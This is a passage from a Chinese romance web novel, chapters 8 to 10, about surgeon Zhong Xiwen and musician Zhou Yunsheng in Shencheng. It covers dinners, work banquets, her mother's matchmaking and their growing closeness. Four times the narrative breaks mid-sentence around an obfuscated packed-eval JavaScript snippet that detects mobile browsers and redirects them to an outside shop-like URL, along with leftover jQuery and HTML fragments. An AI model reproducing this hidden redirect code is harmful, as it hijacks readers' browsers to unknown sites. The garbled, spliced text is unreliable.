一看是位白大褂,周沄声起身,高出刘念成半个头,“是楼下有位姓林的护士让我转交给仲医生。”
“我老婆给你的,你来找文文?”
“对,我在这边等仲医生。”
“你是台城来的啊?”刘念成啧了一声,“好像文文他们一家之前在找什么台城的亲戚。”
“我就是。”
“哎哟!”刘念成一下抓住周沄声的右手,“你看这里人来人往的,要不我带你去她办公室等?”
“不用不用,我就在这边等她,我没有很着急。”
护士抢着带路,“刘医生你忙你的,我带这位先生去找仲医生!”
不仅带路还帮他推箱子,仲希文正好迎面走来。
“仲医生啊,这位帅哥是来找你的……”
“阿声你怎么?”
周沄声只觉得不好意思,他从头至尾只是想安安静静等她,等时间差不多的时候再告诉她。
仲希文接过拉杆箱,对护士说:“谢谢啊,下次服务请继续保持这么周到。”
本来今天仲希文就不打算加班,周沄声一来更是急切要走,但手上确实还有没处理好的事情,只能让周沄声又等了她一个小时。
周沄声在这个时间里选了几家餐厅,最终去哪里由仲希文决定。
“好了,”仲希文伸了个懒腰,“我换了衣服就走,你得先陪我回家收拾点东西。”
“给你的,楼下的林护士托我转交。”
天呐,东西是真真的,仲希文抱进怀里,“那年我本来是要买的,但后来我把钱捐给了一个得骨癌的小朋友,那时候我工资不多,想着还不如攒着钱见你一面,后来吧有些东西一开始得不到就没那么想要了。”
“那现在呢?”
“得到了,很开心啊,还是你亲手给我的,那不一样。”
“那你救的小朋友,他还好吗?”
“左腿截肢后安了义肢,治疗结果也不错,现在还需要定期复查,不过已经回学校上课了。”
“那很好啊,所有的事情都像你期待的那样实现。”
两人聊得都忘了办公室里还有别人,谁看他们这不像一对啊,况且周沄声这么亮眼,太符合仲希文这个眼高于顶之人的要求。
同事用方言说道:“这个消息明朝整个医院全部都会知道,52床他的那个妈下趟来要花血本了嗷。”
52床是她9月份的一个病人,保险公司高管,踢足球的时候断了腿,她给做的手术,快40了但是个妈宝,说未来妻子必须得他妈看得上。他妈来了几趟之后就看上仲希文了,隔三差五来给仲希文送吃的喝的,这点东西又不算贿赂,谁也没办法拦着。
仲希文才不怕他们宣传,大大方方带着周沄声去停车场。
“我是不是给你添麻烦了?”沿途的眼神周沄声都看到了。
“怎么会,幸好你来了,不然这个点儿我可走不了。”仲希文给他看手机,“我带教的实习医生发我的。”
工作总结和工作中遇到的问题汇总,还有她布置的作业。
“新人的工作压力更大,除了专业教学,还要时不时辅导心理问题。”
“仲医生辛苦了,你看看想吃什么?”
“阿声,今天不行哎,我晚上还有工作,七点钟我有个电话会。”
“那我来想办法,先去你公寓。”
此话一出,周沄声比仲希文本人还着急,总得让她在七点之前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408885|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃好晚餐吧,外卖平台上他又不知道哪家靠谱,那天他倒是加了仲老爷子的微信,只能直言不讳去问了。
仲老爷子回复他:【麻辣烫,你按我给的食材买料,别给她点外卖,不干净。】
随后,他收到了仿佛药方一样的食材单子。还有一张手写的麻辣烫做法。
周沄声短暂地EMO了一下,他这辈子哪里做过饭啊。仲希文倒是不着急吃饭,仔仔细细收拾好东西,卡着点到了853号,门口放了好几个外卖的袋子,交代周沄声先吃,她开完会再吃也不迟。
寒夜里,周沄声敲响了隔壁闻甜家的门,这是他这一辈子脸皮最厚的一回,想请闻妈看着单子做一回麻辣烫,他跟着学,他搞不懂火锅底料怎么跟牛奶煮在一起。
8平米的厨房挤了三个人和一只猫。
周沄声看闻妈做饭,闻甜抱着猫看周沄声。
“先炒切好的葱姜蒜和豆瓣酱、牛油炒一下,然后放水和牛奶煮开……”
看上去倒是不难的样子。
“小甜甜,侬帮周先生洗洗这个金针菇和菠菜,你看他手老不便当的呀。”
闻甜把大白猫塞给周沄声,“这是仲希文的猫,你等下一道带回去好了,她晚上要跟猫睡一起的。”
这只白猫少了个左前爪,除此之外特别漂亮,异瞳且浑身滚圆,漂亮又被养得很好。白白软软地窝在他怀里,轻轻喵了一声。
“它叫什么名字?”
“荷包,就是钱包的意思,仲希文表面清高实际是个财迷。”
周沄声跑了两趟,把麻辣烫和荷包以及荷包的日常用品搬回了853,白猫走到仲希文脱下的鞋子边嗅了嗅。
“好啦,我没有拐带你哦,你妈妈在房间里工作,我们等等她好嘛?”
贴心的闻甜送来两罐可乐,说仲希文吃麻辣烫必配可乐,“以后要帮忙就找我,别不好意思,先加微信啊。”
周沄声的通讯录里又多了一个人,“谢谢。”
仲希文走出房间就看到周沄声坐在沙发逗猫,茶几上放了一锅麻辣烫,装麻辣烫的膳魔师保温锅她见过,是闻甜家的,他去学艺又不知道带锅具,只能把别人家的锅给顺回来了。
“你爷爷说你喜欢吃,但又觉得外卖不好,可我不会做就只好请人帮忙,但我刚有学习。”
仲希文拍了好几下自己的脑门,这下是真快哭了,“对不起对不起,我爷爷他怎么能!”
这老学究出了名的没情商,给周沄声出了这么大一个难题,麻辣的东西周沄声怎么吃得惯!
“看上去不错,快吃吧,我也有点饿了。”
大白猫时不时嗅嗅仲希文的碗,发现不是自己喜欢吃的,一瘸一拐走回周沄声身边趴下。
“你看你的猫,跟我好像。”
“我遇到它的时候,它的脚溃烂感染了,差点小命都保不住。”仲希文抱起荷包,“可是它活下来了,这并不妨碍它成为我的宝贝,它脾气好长得漂亮,这点是跟你好像哦。”
大概是太舒服了,荷包摊开肚子让仲希文抚摸,喉咙里发出“咕噜”声。
如果他也是一只猫,大概会跟荷包做一样的动作,把自己最柔软的地方交给她。
8. 第 8 章
申城的天气时不时冷热交替,十月底的冷和十一月初的暖行成了鲜明对比,这几天最高温度飙到了20摄氏度以上,午后阳光热烈,真是秋高气爽,很适合露营野餐。
过去仲希文就算再忙,也会抽一两天去玩,给自己放个假,这个周末倒是有时间,但周沄声似乎比她还忙。
她周一值了个大夜,这天开始就没跟周沄声见过面,他都是半夜里偷偷摸摸回来的,仲希文每天起来都会看到垃圾桶里多了一个他喝完的中药袋子。
至于他是几点钟回来的,她睡得很死,完全不知道。
仲希文搞不懂学校里面哪个岗位会这么忙。本来他还说要好好看日记本,现在忙得连人影都见不着。人一忙谁还记得生活情趣啊,周沄声买的咖啡机套装到货后都还没拆封。
出门前两天来一趟的保姆阿姨来了,仲希文看她套上鞋套,小心翼翼走向厨房,不敢发出一点声音。眼看仲希文要走,拉住她:“仲医生啊,衣服早上洗不行的,周先生还要睡觉,他嫌机器太吵。”
但保姆只服务上午两个小时。
老房子隔音不好,他的房间正好挨着卫生间,里面两个洗衣机同时工作的时候确实很吵。
“那我下班回来洗吧,你给他打个豆浆……豆浆机也很吵,熬点紫米粥煮两个溏心鸡蛋,他要是不喜欢你就说对他身体好,让他当药吃。”
这倒是劝人吃饭的好主意,但也就医生说得才有人信。
周沄声是今天凌晨三点回来的,睡醒起来下午一点继续回工作室工作,这种作息让他倍感吃力,好在这几天里也不是完全没有进展,编曲方案通过之后就能轻松些了。
甲方约他周五吃晚餐,也就是今天,合同里没说他要陪人吃饭,他不想去又不知道怎么拒绝。以前总听经纪人说钱难赚,这次是真体会到了。
保姆给他留了纸条:【粥和鸡蛋在电饭锅里,仲医生叫你当药吃】
本来是溏心的鸡蛋现在已经全熟了。
他不喜欢吃蛋黄,顺手给了荷包,给完才想起来这也是自己的药,第二个只好乖乖吃掉。
今天仲希文也有应酬,上周就越好的局,她下班晚,整个包厢的人等她一个,合作方诚意满满,桌上放了两瓶龙茅。
这种场合,开车不能是挡酒的借口,饭店门口的代驾司机少说都有半个排的规模。
梁裕,她的合伙人,公司顶梁柱,三清医学博士,大学副教授。开公司也只是兼职,他对链入AI迫切得很,这得提高多少工作效率啊,时间就是最值钱的东西。
至于那位AI科技新贵,也是日理万机型人物,前阵子刚融到两亿,公关新闻多到连她这个跟一级市场扯不到一点关系的人都看到了。一家独大不算大,他说他想用他的模型让更多人受益,让公司得到换血级的赋能。
梁裕想做第一批吃他家螃蟹的人。
“我介绍一下,这是植梦科技的薛丞元薛总,这位是仲希文仲博士,我的合伙人。”
仲希文:“久仰薛总大名,幸会。”
薛丞元:“客气,以后我们会有很多机会打交道。”
长得倒是很精神,浓眉大眼五官立体,符合少女心中对霸道总裁的幻想——90后,年轻多金,长相是最不值一提的优点。
梁裕比薛丞元大不了几岁,却已经浑身都是老学究的味道,还会冷不丁冒出几句PUA人的话,有魅力但实在不多。
谈生意她不会,以貌取人倒是会一点,很促狭但非常普遍,没什么不好意思的。
梁裕叫她敬酒,她照做,还会精心编撰几句对合作的期待,站在医护的角度,她希望的是病人受益,省钱省时。
“我想我们需要一套问卷。”薛丞元说道,“把门诊时的问询做成问卷,并且让患者上传已有的诊断书,AI可以做出概括性的整理。”
仲希文非常认可,现在的聊天过程里问询病人情况确实很花时间,“薛总很有见地,不是医疗行业但意见一针见血。”
“我没当过医生,但我当过病人啊,”他指指自己心脏,“上个月做了个小手术,射频消融术。没想到我年纪轻轻,心脏这么早就出了问题。”
“唔……”仲希文默默干了酒,“您保重身体。”
“听梁总说仲博士家人是中医,不知道你有没有空带我去看看?”
“好啊。”
薛丞元将自己的微信二维码亮给仲希文。
一直喝一直聊,饭局的时间看上去被无限拉长,超过十点的时候,仲希文开无比期待那个说“咱们今天就到这”的人,包间有些闷,她借口去卫生间,站起来才发现酒精让她眩晕。
推开厚重的铜门,她看见了站在对面包间门口抽烟的周沄声。
申城这么大,吃个饭竟然还能偶遇。两人几乎同时说出:“你怎么?”
来这里还能干嘛,里面上了一桌子的漂亮饭,吃一顿根本吃不饱的晚餐而已。
周沄声指指门后,“这次付我薪酬的老板在里面,你看上去喝了不少酒?”
“嗯,你也喝了吧?”他不说,仲希文还没觉得自己脸发烫呢。
“没办法不喝,不然就是我不给面子。”
“我也是,结束后我们一起回去,这个饭店有醒酒汤,跟服务生要就行。”
“好。”
然后她去卫生间,他继续抽烟,看上去互不相识。
下半场还得继续喝,两瓶白酒喝完后梁裕又开了红酒,哪有这么多说不完的话,仲希文抑制着情绪,按着梁裕朝她举来的酒壶,“梁总,我明天还要上班,最后一杯行吗?我不会聊天我就会做事,两位总你们有什么事就交给我。”
仲希文已经上头了,迷离就差一瞬间,大半杯红酒爽快下肚,胃里翻江倒海,头也只能用手托着。
“她住得近,我先送她回去。”梁裕安抚薛丞元,“薛总见谅,我顶多二十分钟就回来。”
“呃,我……”仲希文冲出包间去呕吐。
对面周
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408886|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沄声那间已经结束,甲方爸爸要出发赶飞机,只剩下周沄声在等。
喝下去的酒水混合着食物被吐掉,仲希文觉得呼吸瞬间松快了。
薛丞元先一步出来看仲希文的情况,只看到她已经被周沄声搀扶进怀里,“这位先生,这是我朋友,麻烦你了,把她交给我就好。”
但是仲希文抓周沄声的手腕抓得很紧,周沄声挡在仲希文前面,“她不能再喝了,请允许我带她离开,刚才我就在这里等她出来。”
关键是梁裕也不认识周沄声,说:“还是交给我吧,交给我没毛病。”
“我不能把文文交给你们。”
“不是,你这人……”梁裕硬生生压下了刚到嘴边的话,对面的男人知道仲希文的名字。
仲希文还是想吐,周沄声扶着她坐下,朝服务生点了下头,很快一杯含有酸梅、枸杞、竹蔗等材料的醒酒汤送到了仲希文嘴边。她嘴里又苦又酸,这一杯正好压住即将产生的反酸。
她的随身物品都还在包间,虽然脑子有些迟钝,但还能叫出周沄声的名字,抬手指指门:“拿包。”
包间内还有五六个同事,见周沄声进来齐刷刷起身朝向他,目光自然是灼热的,周沄声不动声色将仲希文的东西收拾齐全,临走还不忘替她说话:“抱歉,她醉了,我们先走。”
薛丞元:“梁总,你不是跟我说仲希文是黄金单身女吗?”还说好让他借机送仲希文回住所,留个深刻的第一印象。
“是啊,起码一周前还是,这男的我真没听说过。”梁裕完全解释不清,而且被架着,倒显得他里外不是人。
“你没听说过,但我怎么觉得他们像是旧相识。”
“这人是台城口音啊,希文的社交圈非常简单,我不可能不知道。”梁裕拍拍薛丞元的肩,“这人的条件怎么能跟薛总相比,等时机合适我问问希文,她非常理性,肯定能做出正确判断。”
周沄声托着仲希文摇摇晃晃的身体,从她包里拿出车钥匙,“车在哪里?”
“你按车钥匙。”
嘟的一声,马路对面的车亮了灯,周沄声将钥匙递给离自己最近的代驾,“那辆,谢谢。”
坐上车,一声含糊不清的“阿声”之后,仲希文半倒在周沄声身上,睡了过去,十几分钟的路程他纹丝不动。代驾将车停到门口车位,找周沄声结账。
“35,您怎么结账?”
“抱歉,我只有纸币。”
周沄声揽着仲希文没让她倒下,用不太灵光的左手从钱包掏出一张五十元,过程艰难。
没想到代驾竟然有现金找零给他,“哥们你考个驾照不好吗,都上那儿接人去了咋还费这钱找代驾呢?”
周沄声只是笑笑。
车内很安静,灯光和树影都静止了,甚至连时间都静止了。
周沄声没觉得伤感,只是觉得自己欠缺了太多,他不会做饭不会开车,现在身体弱到都抱不动仲希文,眼看着熟睡的人,不知道该拿她怎么办。
9. 第 9 章
从公寓搬出来这件事,仲辛成和曲清早晚都会知道,而且风会乱吹,不过周沄声的身份却没传出去,仲希文突然对自己身边人的素质肃然起敬。
六院周末只开上午半天门诊,曲清约她喝下午茶。
按照对她这个独生女的管教程度,他们还是最终派出了代表来谈话。
宿醉后还有些郁闷情绪,仲希文给学生陆枫发信息,叮嘱他整理好病历,按时查房做好记录,尤其要注意23床大叔的血糖血压。
这孩子有时候犯懒,不说就不做,还说自己本就没打算留在人人忙成狗的六院。
厨房里煨茶叶蛋的锅咕嘟咕嘟滚着,从进复大开始她就成了吃货,在充满小白鼠和福尔马林的生活中,她拼命拿奖学金、进实验组赚补贴,到手的那点钱就为了两件事——买门票、吃东西。
仲希文回复:【好,时间地点您定】
二楼有了动静,几分钟的水声之后,周沄声穿着一身白色的睡衣下楼。
仲希文:“我吵着你了?”
周沄声:“算吧,不是声音是香味。”
仲希文会心一笑,“煮的茶叶蛋,按我的口味煮的,我会放一两个辣椒和半听可乐。”
“秘方哦,那我也肯定要尝一尝。”
想起来怪不好意思的,她体重100,他体重116,难为他昨夜扛醉鬼回家。
“你今天不用上班吗?”
周沄声正在厨房揭锅盖,“看上去很好吃,可以教我吗?”
“等你有空教你,先喝一碗小米粥加酱黄瓜,我今天旷工但我妈约我喝茶,你呢?”
“我也想赶快忙完,但编曲老师今天申请休息,其实我本来不需要参与这些前期的准备工作,但我想早点进入状态,我想可能会帮到一些。”
“所以你的工作是什么?”
“算音乐指导和乐团指挥。”
不是仲希文理解的领域,但是他想吃茶叶蛋的话,得说到能让她明白。
“有位叫凌茉的女歌星原是附中毕业后来去了伯克利,她的跨年表演想跟附中合作,我现在是她临时团队的一员而已。”
“所以你昨天不会是跟凌茉吃饭吧?”仲希文张大了嘴,“哇,她很有名哎,真人长得比电视里好看吗?”
周沄声不知道自己该为哪个问题点头,“我应该可以争取到门票,到时留给你。”
“那我能看到你上台吗?”
“可以,介意只是背影吗?”
“我知道是你就行。下午要不要出去走走?”仲希文当着他的面把通讯录里面他的备注名字改成了“A主任”。
“这是什么意思?”
“这样的话你打电话给我就可以救我,我不能推辞主任给我的工作啊,懂不懂?”仲希文吐槽说,“我妈大概要来问我和你的事情,在这种问题上面她很机车。”
像极了小孩的坏心思,但又很有用。
下午茶约在苏州河畔,可以漫步外滩也可以散步去南京路,或者还可以由观光隧道去陆家嘴。
隔着一段距离,仲希文就看见曲清身边还有一位年轻男子,来者不善吧。周沄声先仲希文五分钟进门,点了杯惯喝的冰美式。
曲清见到不修边幅的女儿本想唠叨几句,但外人在场,女儿的面子她还是要给的。
刚坐下仲希文就想起来这男的是谁了,曲清公司的投资人之一,一个公司分好几轮融资,投资人多到一个圆桌都坐不下了。
但这位有些特别,他的父亲领投了天使轮,成了最早的投资方,这位少爷今年年初接的班,一开始主张以股权出售的方式退出。印象中他应该还不到30岁。
“万嘉莱万总,你之前是见过的。”曲清其实不确定女儿记不记得,但装一下她总是会的。
“万总好,我是仲希文,在六院工作。”仲希文朝周沄声的方向瞄了一眼,幅度很小但曲清还是觉察到了。
“万总呢这回参与了一个5G医疗项目,之前你不是跟我说过想做手术机器人5G网络远程手术,妈妈帮你牵个线。”
怕是不止一根线吧,“这太好了,明天我们主任不上班儿,周一我找他说,万总带项目方介绍了么,另外就是我话说前面,这个你们前一年得免费服务。”
一聊工作仲希文还是带劲,说其实很多医院都开始了远程医疗,但六院真的是太忙,自己的手术都做不过来,哪有工夫帮别家做啊,但是总不能一直人有我无,这等同于落后。
又细数今年做的几个高难度手术和参与的几个国家级医疗项目,喝下去的咖啡都不够补充她滔滔不绝消耗的口水。
万嘉莱可不是来听这些的,只能应付着夸夸:“仲医生很适合做项目推介啊,比我参加的几次公司融资路演都讲得专业。”
“是吧,我就说我干临床太屈才了。”
“少蹬鼻子上脸,你这张嘴啊……跟谁学的?”
约定好的救赎电话该进来了,仲希文悄悄把手机往曲清身边推了推,“妈,我听说这家的蛋糕好吃,我能打包几块吗?”
“怎么,要我给你买?”
“不是不是……”电话进来了,仲希文点点屏幕,“主任找我,喂主任,您今天不是陪闺女去看话剧么?”
接下去全靠演技。
“你电话给我一下,我跟你们主任说两句,不耽误你赶回去工作。”
“不了吧,多不正式?”仲希文紧捂着手机。
周沄声也一直观察着,看情况不对火速挂了电话,但曲清竟然拿了女儿的手机回拨了过来。周沄声匆忙锁了手机。
“您看我们主任是真有事。”
曲清拧了下眉,从来没有怀过恶意去想自己的女儿,“你有工作就先走吧,晚上空了给我打个电话,跟我说说你那个台城来的朋友,你姑奶奶的事儿我知道不多,如果真的是故人之后,你别怠慢了人家。”
“好的妈妈,万总我们下周约时间再聊,线上会议就行,初步聊一聊。”
万嘉莱客气着点头,“蛋糕我帮你去打包,几分钟不耽误吧?”
“不吃了不吃了,我这人一有事就没胃口,万总我们保持联系,早点推进项目。”说完拿起外套和包,跑出了赶往急诊救人的速度。
周沄声默不作声,从咖啡店的另一边门出去,沿着仲希文的逃跑路线一路往前,被风吹起的风衣下摆划出一道弧线。
曲清惋叹:“她从港城回来那时候我就劝她别进医院,治病救人也不是都要冲在前线,可这孩子说自己临床都做不好怎么妄谈做别的。”
“是啊,曲总您也是临床出身,更懂医院更懂病人和疾病,做事自然事半功倍。”万嘉莱喝完最后一口咖啡,“她聊她的专业,很有气场。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408887|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>曲清笑笑,眼前的男子太过聪明太会算计,虽她有意撮合但却也明白这人并非仲希文能拿捏得住的,她女儿是个大咧咧的直肠子,今天既然女儿这方面的心思一点也没有,就随缘吧。
周末的外滩人潮涌动。走过外白渡桥之后,仲希文三步一回头,确认周沄声没有跟丢。
她不走了,看着周沄声越过人潮向她走来,风吹起他的刘海,露出饱满光洁的额头,原来在如此密集的人群里,他突出到能跨越图层。
岁月和伤病沉淀在他身上的东西,像锋利的刻刀落于玉石,在原本就无二的材质上雕出细腻的纹路,他这棵松让翡翠里的那抹绿有了生命。
仲希文想,自己是不是可以让这棵松活得更旺盛一些。
“啊——”
一个熊孩子狠狠撞了下仲希文,幸好被周沄声稳稳搂住,下巴磕在他肩上。
一点都不疼,还让她有机会再一次和周沄声亲密接触,但是小孩这么不懂事是不对的,仲希文转身瞪了一眼,平时碰到小小年纪因为贪玩进医院修骨头的娃,她都要损两句。
“我们没事啦,但小朋友需要跟姐姐道个歉。”
没想到他竟然会这么说,仲希文本来瞪完一眼就算报仇,随它去了。
家长拎着孩子的领子催他道歉,小孩一脸的委屈巴巴:“姐姐对不起。”
仲希文:“没关系,这里人多不要跑,慢慢走不会摔跤。”
话都说完了,仲希文发现自己还贴着他,紧紧地贴着,他放在她腰上的手也没放开,觉醒像断电,正负两极瞬间被分开。
衣服穿多了,他手按在腰上的触感仲希文都没感觉到,他抱得再用力一点点就好了!就像吃甜品,太贵的话她可以只买一口的量,总比没吃过强啊。
至于昨夜,人醉了心态也麻了,记忆像梦境,她感受得不真切。
“这里你来过的,有一组照片背景就是这栋带个大钟的楼。”
“嗯,海关大楼。”
“你一个外地人直接说出这个名字显得我好没文化,我都不知道。”
“是吗?”周沄声笑了几声,“因为我其实挺喜欢大楼,小时候我大部分时间都在练琴,学习很差啦,怎么修建大楼我肯定学不会,所以就搜集了很多模型和明信片,当然记得比你多。”
“真的啊,我们粉丝都不知道哎。”
“干嘛让你们知道,想你们送我大楼?”
没想到他还会开玩笑,仲希文要笑死,“你肯定没逛过这边的小便利店吧,就说对面那个东方明珠塔,我可以去店里买一个水晶的送你。”
“这个就算了吧,我不喜欢尖利的东西。”
“那就不要了,你知道吧,京城的四合院申城的老洋房,都很贵的,你现在就住在里面,算我送你的,”仲希文把手机交给他,并取下头上的鱼骨夹,一头秀发散开,“我也要在这里拍照,起码要有一个九宫格。”
走走拍拍,仲希文起码能挑出一个十八宫格,在餐厅上菜前,修完图美美地发了个朋友圈。
第一道凉拌海蜇刚上,曲清的电话就进来了。
“你下午不是加班去了吗,照片什么时候拍的?”
“妈,对不起,我下次肯定会记得屏蔽你。”
趁曲清骂人之前,仲希文挂了电话,美食美男在前,一切破坏气氛的存在必须斩立决。
10. 第 10 章
那朋友圈的照片里,仲希文笑容灿烂,热烈得像105摄氏度的水蒸气,肯定是离不开笛卡尔曲线,这个评价是科里那帮没什么词汇累积的理科生说的。
给仲希文送秋波的人不少,她也不是什么高岭之花,就是对所有的好意说完谢谢就跑了,有礼貌但不多。笑得吧也一样灿烂,但是职业感拉满。
通俗说就是:我笑了呀,我装的。
可这回是真的呀,粉粉的牙龈都露出来了,大眼都眯成缝了,但就是这种五官乱飞的照片她竟然用来发朋友圈,这个理科生的审美也就那样。
忙了一整天的仲希文已经花容失色,看见桌上有个蒂芙尼蓝的包装袋,里面是那天她没吃到的蛋糕,她转头问办公室的其他同事:“我妈来过了?”
“是主任拿来的。”小徒弟陆枫回答她,“主任边上还有个西装四件套霸总。”
仲希文想吃,但没胃口了,把蛋糕推给陆枫:“你吃吧,我怕主任害我。”
“……”陆枫,“主任害你什么?”
仲希文点点手机屏幕:“晚上八点了,怕他害我长胖。”
陆枫尴尬一笑,科里吃夜宵最猛的人说怕长胖,她要是能胖早就胖成猪了,“所以你真恋爱了,上回那个台城的靓仔?”
“关你屁事?”仲希文冷酷道:“交班报告十点之前发我邮箱,发不出来就关你很大事。”
医院每周四大交班,需要逐一汇报患者病情、手术情况、出院患者康复情况等,仲希文尤其关心老龄患者,这类患者康复缓慢,术后护理也更麻烦,很容易导致多种并发症和焦虑情绪,这类病人她会亲自电话回访督促复诊。
这段时间周沄声的上班时间倒是人性化了很多,下午2点到晚上10点,听说是在做乐团学生的选拔,选完就开始排练,演出结束他的工作也就结束了。
但今天853号的灯亮着,他回来了?
他也是刚回来,在门口整理鞋柜,仲希文生活中是个粗线条,鞋是放进去了,但左右脚经常放反,主打一个看着整洁就是精致的猪猪女孩。
今天的周沄声换了发型,原本到下颌骨的半长发已经剪短到耳垂,跟他那张典藏唱片封面上的造型很像。
“发型很适合你,Tony老师贵不贵?”
“不要钱,是凌茉的造型师做的,”周沄声问她,“吃过晚餐吗?”
“没有,下了班就只想赶快回来。”
“早上的时候你爷爷奶奶给你送了好吃的,现在热一下就好。”
老两口有钥匙,偷偷开门进来的时候周沄声正在抓上了树的荷包,猫跳到他肩上嗖一声回来屋,而他像个被抓的小偷不敢出声。
仲老爷子笑得憨厚:“你不是上班么,怎么还在家?”
周沄声:“啊——我上晚班。”
古老太太脸皮薄,想放下东西就走,但周沄声的反应还算是快,留了他们喝茶吃水果,至于二老带来的东西本就不是给他的,他坚决要让仲希文先吃。
走地鸡熬的鸡汤绝了,仲希文一干就是两碗,还有红枣糕和黑米糕。
“那这个鹌鹑蛋红烧肉、香菇青菜和大闸蟹是哪来的,还有白米饭,什么时候买的米?”
“我问了保姆怎么找一个做晚餐的阿姨,她说她就可以,但我们最好每天要告诉她想吃什么。”
“这我可想不到,白天忙死了也没空想这个。”
周沄声去茶几拿了个小本子,脸上还挺骄傲,是仲希文没见过的表情,像小朋友跟老师要小红花。
“哈!”仲希文没忍住笑出了声,老爷子写的菜单跟药方差不多,但写的全都是她家餐桌的常客。
“他们希望你下了班可以吃到热饭,还说以前会送到你的公寓。”
“对,可我不太想麻烦他们,他们都有工作,我爷爷在中医馆,我奶奶在带我姑姑的小儿子,都很辛苦,而且我会做饭啊,怎么会没有热饭吃?”
也有时候实在太累了,骨科手术里用到的工具,只有想不到没有用不到,大锤小锤,甚至是电镐、电钻、电锯,每天都在手术室撸铁,干完一天体力活快虚脱的时候就直接把自己扔床上睡醒再说。
“你也不用担心我,等你的手术做完,恢复得差不多之后就可以回台城了,到时候我就搬回公寓……”然后按部就班重新回到从前的日子。
不知道怎么回事,突然好害怕这样过一辈子,无聊又无味,连写回忆录都跟工作总结区别不大。
“我不想回去。”周沄声捏着骨瓷勺子,看着她,“我今天有闻到桂花香,突然就很喜欢这里,虽然我不能很快跟家里讲我的决定,但我已经想好了。”
“你要留在申城?”
周沄声郑重点头,“我家里肯定会替我开心。”
“周沄声你真勇敢,我想敬你一杯。”
“家里没有酒。”
“那用鸡汤敬你。”
周沄声已经开始看日记了,今天也借着二老的光临,问了一些疑问。按仲明禾的记录,周敬凡应该是个军医,还是个学贯中西的天才医生。
在战乱年代,他想方设法弄到盘尼西林、奎宁和吗啡等紧缺药品,更可贵的是他懂中草药,将止血化瘀、消炎止痛的药方活学活用,救人无数。
而周沄声知道自己的阿公只是个商人。
两人吃了饭,收拾完餐桌,一人一个保温泡脚桶窝到沙发里泡脚,仲希文听周沄声讲他阿公的生意版图。
周敬凡开了三个书店、两个茶楼和一家贸易公司,把高山茶卖到东南亚十国,虽早逝但为唯一的儿子留下了巨额家产。
“周老先生这么厉害啊,我姑奶奶知道了应该会很高兴,他的一生从头至尾都那么精彩。”
“但我父亲就很平庸啦,后来这些产业全靠我舅舅在经营,他和我妈妈躺着就有钱赚每天都很开心。”
这是什么爽文?而且这怎么算平庸,这分明是大智慧!
仲希文突然有点理解周沄声的性格,他从小就被温柔以待,生活富裕家庭无忧父母恩爱,人生最大的挫折就是那场意外,这种人怎么会恨这个世界,要恨也只会恨他自己。
“但是你之前接受采访的时候说你家里对你一直是严格要求的。”
“我妈说我要是跟我爸一样,那我们家就要完了,而且她只会说这一句。”
“阿声,你妈妈已经很温柔了。”
周沄声突然放下猫,侧身看向她,一副要听故事的样子,仲希文心里确实有个一直解不开的结,伤她很深,但她这么多年都咽在肚子里,都快烂了。
“我高中的时候转过一次学,我跟一个男学霸是同桌,我也是学霸,王不见王。但他故意让他妈妈、他同学看到他写给我的情书,还叫我的朋友来问我对他的评价,我真的很一根筋,说他学习很好是我的重要参考系,总之大加赞赏了,然后很快被告到校长那里。”
“他妈妈说我经常勾引他,下课经常找他聊题,甚至还有一段录音,就是我朋友录的我对他的夸奖词,以上这一切导致了他儿子确认我喜欢他,让他放下学业给我写情书。而我爸妈没
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17409819|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有为我辩解一句,直接给我办了转学。”
“我不知道这叫勾引,更不知道什么是喜欢,我只是想知道凭什么是我转学。他写了那么多情书我真的连一字都没见过,我爸妈警告我到了新学校不许跟男生讲话,谈恋爱跟性别存在必然关系吗?”
“现在我30多了,他们又愁我没对象,我不会谈恋爱啊,在我还不知道什么是喜欢的时候,他们就说这是错的。”
脚底的水将适宜的热度从脚心传到全身,周沄声背上甚至有了些汗。这么舒服的夜里,反而更适合说一些难过的事。
“好巧,我也没有谈过恋爱,而且我也有点故事,要不要听?”
